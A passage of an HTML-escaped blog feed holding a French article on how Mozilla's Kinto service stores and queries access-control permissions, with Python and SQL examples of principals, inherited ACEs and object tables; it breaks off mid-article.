&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cliquet&lt;/strong&gt; est une boite à outils pour faciliter l&amp;#8217;implémentation de
microservices &lt;span class="caps"&gt;HTTP&lt;/span&gt; tels que les APIs &lt;em&gt;&lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/em&gt; ayant des besoins de
synchronisation.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Kinto&lt;/strong&gt; est un service pour stocker, synchroniser et partager des données
arbitraires, attachées à un compte Firefox (mais le système d&amp;#8217;authentification
est &lt;em&gt;pluggable&lt;/em&gt;).&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-3"&gt;[3]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Cliquetis, la bibliothèque JavaScript pour consommer l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;HTTP&lt;/span&gt; de Kinto —
&lt;a class="reference external" href="https://github.com/mozilla-services/cliquetis"&gt;https://github.com/mozilla-services/cliquetis&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-4"&gt;[4]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;La feuille de route de Kinto: &lt;a class="reference external" href="https://github.com/mozilla-services/kinto/wiki/roadmap"&gt;https://github.com/mozilla-services/kinto/wiki/roadmap&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content><category term="code"></category></entry><entry><title>Service de nuages : Stocker et interroger les permissions avec Kinto</title><link href="https://blog.notmyidea.org/service-de-nuages-stocker-et-interroger-les-permissions-avec-kinto-fr.html" rel="alternate"></link><published>2015-05-26T00:00:00+02:00</published><updated>2015-05-26T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-05-26:/service-de-nuages-stocker-et-interroger-les-permissions-avec-kinto-fr.html</id><summary type="html">&lt;p class="first last"&gt;Comment faire pour stocker et interroger la base de données au sujet des permissions avec Kinto&amp;nbsp;?&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tl;dr: On a maintenant un super système de permission mais comment faire pour stocker et interroger ces permissions de manière efficace&amp;nbsp;?&lt;/strong&gt;&lt;/p&gt;
&lt;div class="section" id="la-problematique"&gt;
&lt;h2&gt;La&amp;nbsp;problématique&lt;/h2&gt;
&lt;p&gt;Maintenant que nous avons défini un modèle de gestion des permissions
sur les objets qui nous satisfait, le problème est de stocker ces
permissions de manière efficace afin de pouvoir autoriser ou interdire
l&amp;#8217;accès à un objet pour la personne qui fait la&amp;nbsp;requête.&lt;/p&gt;
&lt;p&gt;Chaque requête sur notre &lt;span class="caps"&gt;API&lt;/span&gt; va générer une ou plusieurs demandes
d&amp;#8217;accès, il faut donc que la réponse soit très rapide sous peine
d&amp;#8217;impacter la vélocité du&amp;nbsp;service.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="obtenir-la-liste-des-principals-d-un-utilisateur"&gt;
&lt;h2&gt;Obtenir la liste des &amp;#8220;principals&amp;#8221; d&amp;#8217;un&amp;nbsp;utilisateur&lt;/h2&gt;
&lt;p&gt;Les &lt;em&gt;principals&lt;/em&gt; de l&amp;#8217;utilisateur correspondent à son &lt;tt class="docutils literal"&gt;user_id&lt;/tt&gt;
ainsi qu&amp;#8217;à la liste des identifiants des groupes dans lesquels il a
été&amp;nbsp;ajouté.&lt;/p&gt;
&lt;p&gt;Pour éviter de recalculer les &lt;em&gt;principals&lt;/em&gt; de l&amp;#8217;utilisateur à chaque
requête, le mieux reste de maintenir une liste des &lt;em&gt;principals&lt;/em&gt; par&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;p&gt;Ainsi lorsqu&amp;#8217;on ajoute un utilisateur à un groupe, il faut bien penser
à ajouter le groupe à la liste des &lt;em&gt;principals&lt;/em&gt; de&amp;nbsp;l&amp;#8217;utilisateur.&lt;/p&gt;
&lt;p&gt;Ça se complexifie lorsqu&amp;#8217;on ajoute un groupe à un&amp;nbsp;groupe.&lt;/p&gt;
&lt;p&gt;Dans un premier temps interdire l&amp;#8217;ajout d&amp;#8217;un groupe à un groupe est
une limitation qu&amp;#8217;on est prêts à accepter pour simplifier le&amp;nbsp;modèle.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;avantage de maintenir la liste des &lt;em&gt;principals&lt;/em&gt; d&amp;#8217;un utilisateur
lors de la modification de cette liste c&amp;#8217;est qu&amp;#8217;elle est déjà
construite lors des lectures, qui sont dans notre cas plus fréquentes
que les&amp;nbsp;écritures.&lt;/p&gt;
&lt;p&gt;Cela nécessite de donner un identifiant unique aux groupes pour tous
les &lt;em&gt;buckets&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nous proposons de de les nommer avec leur &lt;span class="caps"&gt;URI&lt;/span&gt;:
&lt;tt class="docutils literal"&gt;/buckets/blog/groups/moderators&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="obtenir-la-liste-des-principals-d-un-ace"&gt;
&lt;h2&gt;Obtenir la liste des &amp;#8220;principals&amp;#8221; d&amp;#8217;un &lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote&gt;
Rappel, un &amp;#8220;&lt;span class="caps"&gt;ACE&lt;/span&gt;&amp;#8221; est un &lt;em&gt;Access Control Entry&lt;/em&gt;, un des éléments
d&amp;#8217;une &lt;span class="caps"&gt;ACL&lt;/span&gt; (e.g. &lt;em&gt;modifier un enregistrement&lt;/em&gt;).&lt;/blockquote&gt;
&lt;p&gt;Avec le &lt;a class="reference external" href="https://blog.notmyidea.org/service-de-nuages-la-gestion-des-permissions-fr.html"&gt;système de permissions choisi&lt;/a&gt;, les permissions d&amp;#8217;un
objet héritent de celle de l&amp;#8217;objet&amp;nbsp;parent.&lt;/p&gt;
&lt;p&gt;Par exemple, avoir le droit d&amp;#8217;écriture sur un &lt;em&gt;bucket&lt;/em&gt; permet la
création des permissions et la modification de tous ses&amp;nbsp;records.&lt;/p&gt;
&lt;p&gt;Ce qui veut dire que pour obtenir la liste complète des &lt;em&gt;principals&lt;/em&gt;
ayant une permission sur un objet, il faut regarder à plusieurs&amp;nbsp;endroits.&lt;/p&gt;
&lt;p&gt;Rémy a &lt;a class="reference external" href="https://gist.github.com/Natim/77c8f61c1d42e476cef8#file-permission-py-L9-L52"&gt;décrit dans un gist la liste d&amp;#8217;héritage de chaque permission&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Prenons l&amp;#8217;exemple de l&amp;#8217;ajout d&amp;#8217;un record dans une&amp;nbsp;collection.&lt;/p&gt;
&lt;p&gt;Le droit &lt;tt class="docutils literal"&gt;records:create&lt;/tt&gt; est obtenu si l&amp;#8217;on a l&amp;#8217;un des droits&amp;nbsp;suivants:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;bucket:write&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;collection:write&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;records:create&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notre première idée était de stocker les permissions sur chaque objet
et de maintenir la liste exhaustive des permissions lors d&amp;#8217;une
modification d&amp;#8217;&lt;span class="caps"&gt;ACL&lt;/span&gt;. Cependant cela nécessitait de construire cette
liste lors de l&amp;#8217;ajout d&amp;#8217;un objet et de mettre à jour tout l&amp;#8217;arbre lors
de sa suppression.  (&lt;em&gt;Je vous laisse imaginer le nombre d&amp;#8217;opérations
nécessaires pour ajouter un administrateur sur un *bucket&lt;/em&gt; contenant
1000 collections avec 100000 records&amp;nbsp;chacune.*)&lt;/p&gt;
&lt;p&gt;La solution que nous avons désormais adoptée consiste à stocker les
&lt;em&gt;principals&lt;/em&gt; de chaque &lt;em&gt;&lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/em&gt; (&lt;em&gt;qui&lt;/em&gt; a le droit de faire telle action
sur l&amp;#8217;objet), et de faire l&amp;#8217;union des &lt;em&gt;&lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/em&gt; hérités, afin de les
croiser avec les &lt;em&gt;principals&lt;/em&gt; de l&amp;#8217;utilisateur&amp;nbsp;:&lt;/p&gt;
&lt;blockquote&gt;
(&lt;span class="caps"&gt;ACE&lt;/span&gt;(object, permission) ∪ inherited_ACE) ∩ &lt;span class="caps"&gt;PRINCIPALS&lt;/span&gt;(user)&lt;/blockquote&gt;
&lt;p&gt;Par exemple l&amp;#8217;&lt;span class="caps"&gt;ACE&lt;/span&gt;: &lt;tt class="docutils literal"&gt;/buckets/blog/collections/article:records:create&lt;/tt&gt; hérite de
l&amp;#8217;&lt;span class="caps"&gt;ACE&lt;/span&gt; &lt;tt class="docutils literal"&gt;/buckets/blog/collections/article:write&lt;/tt&gt; et de &lt;tt class="docutils literal"&gt;/buckets/blog:write&lt;/tt&gt; :&lt;/p&gt;
&lt;blockquote&gt;
(&lt;span class="caps"&gt;ACE&lt;/span&gt;(/buckets/blog/collections/article:records:create) ∪ &lt;span class="caps"&gt;ACE&lt;/span&gt;(/buckets/blog/collections/article:write) ∪ &lt;span class="caps"&gt;ACE&lt;/span&gt;(/buckets/blog:write)) ∩ &lt;span class="caps"&gt;PRINCIPALS&lt;/span&gt;(&amp;#8216;fxa:alexis&amp;#8217;)&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="recuperer-les-donnees-de-l-utilisateur"&gt;
&lt;h2&gt;Récupérer les données de&amp;nbsp;l&amp;#8217;utilisateur&lt;/h2&gt;
&lt;p&gt;La situation se corse lorsqu&amp;#8217;on souhaite limiter la liste des
&lt;em&gt;records&lt;/em&gt; d&amp;#8217;une collection à ceux accessibles pour l&amp;#8217;utilisateur, car
on doit faire cette intersection pour tous les &lt;em&gt;records&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Une première solution est de regarder si l&amp;#8217;utilisateur est mentionné
dans les &lt;em&gt;&lt;span class="caps"&gt;ACL&lt;/span&gt;*s du *bucket&lt;/em&gt; ou de la &lt;em&gt;collection&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;Ensuite, si ce n&amp;#8217;est pas le cas, alors on filtre les &lt;em&gt;records&lt;/em&gt; pour
lesquels les &lt;em&gt;principals&lt;/em&gt; correspondent à ceux de&amp;nbsp;l&amp;#8217;utilisateur.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_user_principals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;can_read_all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;has_read_perms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bucket_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;collection_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                              &lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;can_read_all&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_all_records&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bucket_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;collection_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                              &lt;span class="n"&gt;filters&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;filter_read_records&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bucket_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;collection_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                  &lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                  &lt;span class="n"&gt;filters&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il faudra faire quelque chose de similaire pour la suppression
multiple, lorsqu&amp;#8217;un utilisateur souhaitera supprimer des
enregistrements sur lesquels il a les droits de lecture mais pas&amp;nbsp;d&amp;#8217;écriture.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-modele-de-donnees"&gt;
&lt;h2&gt;Le modèle de&amp;nbsp;données&lt;/h2&gt;
&lt;p&gt;Pour avoir une idée des requêtes dans un backend &lt;span class="caps"&gt;SQL&lt;/span&gt;, voyons un peu ce
que donnerait le modèle de&amp;nbsp;données.&lt;/p&gt;
&lt;div class="section" id="le-format-des-id"&gt;
&lt;h3&gt;Le format des &lt;span class="caps"&gt;ID&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;Utiliser des &lt;span class="caps"&gt;URI&lt;/span&gt; comme identifiant des objets présente de nombreux
avantages (lisibilité, unicité, cohérence avec les&amp;nbsp;URLs)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;bucket: &lt;tt class="docutils literal"&gt;/buckets/blog&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;groupe: &lt;tt class="docutils literal"&gt;/buckets/blog/group/moderators&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;collection: &lt;tt class="docutils literal"&gt;/buckets/blog/collections/articles&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;record: &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;/buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="les-tables"&gt;
&lt;h3&gt;Les&amp;nbsp;tables&lt;/h3&gt;
&lt;p&gt;Pour le stockage des principals et des&amp;nbsp;permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;perms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La table &lt;em&gt;perms&lt;/em&gt; va associer des &lt;em&gt;principals&lt;/em&gt; à chaque &lt;em&gt;&lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/em&gt;&amp;nbsp;(e.g.&amp;#8220;/buckets/blog:write&amp;#8220;).&lt;/p&gt;
&lt;p&gt;Pour le stockage des&amp;nbsp;données:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La colonne &lt;em&gt;parent_id&lt;/em&gt; permet de savoir à qui appartient l&amp;#8217;objet
(e.g. groupe d&amp;#8217;un &lt;em&gt;bucket&lt;/em&gt;, collection d&amp;#8217;un &lt;em&gt;bucket&lt;/em&gt;, &lt;em&gt;record&lt;/em&gt; d&amp;#8217;une
collection,&amp;nbsp;&amp;#8230;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="exemple-d-utilisateur"&gt;
&lt;h3&gt;Exemple&amp;nbsp;d&amp;#8217;utilisateur&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fxa:alexis&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fxa:natim&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;/buckets/blog/groups/moderators&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="exemple-d-objets"&gt;
&lt;h3&gt;Exemple&amp;nbsp;d&amp;#8217;objets&lt;/h3&gt;
&lt;div class="section" id="bucket"&gt;
&lt;h4&gt;Bucket&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bucket&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;name&amp;quot;: &amp;quot;blog&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;fxa:alexis&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="group"&gt;
&lt;h4&gt;Group&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;read_principals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write_principals&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog/groups/moderators&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;group&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/buckets/blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;name&amp;quot;: &amp;quot;moderators&amp;quot;, &amp;quot;members&amp;quot;: [&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;fxa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;natim&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;]}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ce groupe peut être gére par &lt;tt class="docutils literal"&gt;fxa:alexis&lt;/tt&gt; puisqu&amp;#8217;il a la permission
&lt;tt class="docutils literal"&gt;write&lt;/tt&gt; dans le &lt;em&gt;bucket&lt;/em&gt;&amp;nbsp;parent.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="collection"&gt;
&lt;h4&gt;Collection&lt;/h4&gt;
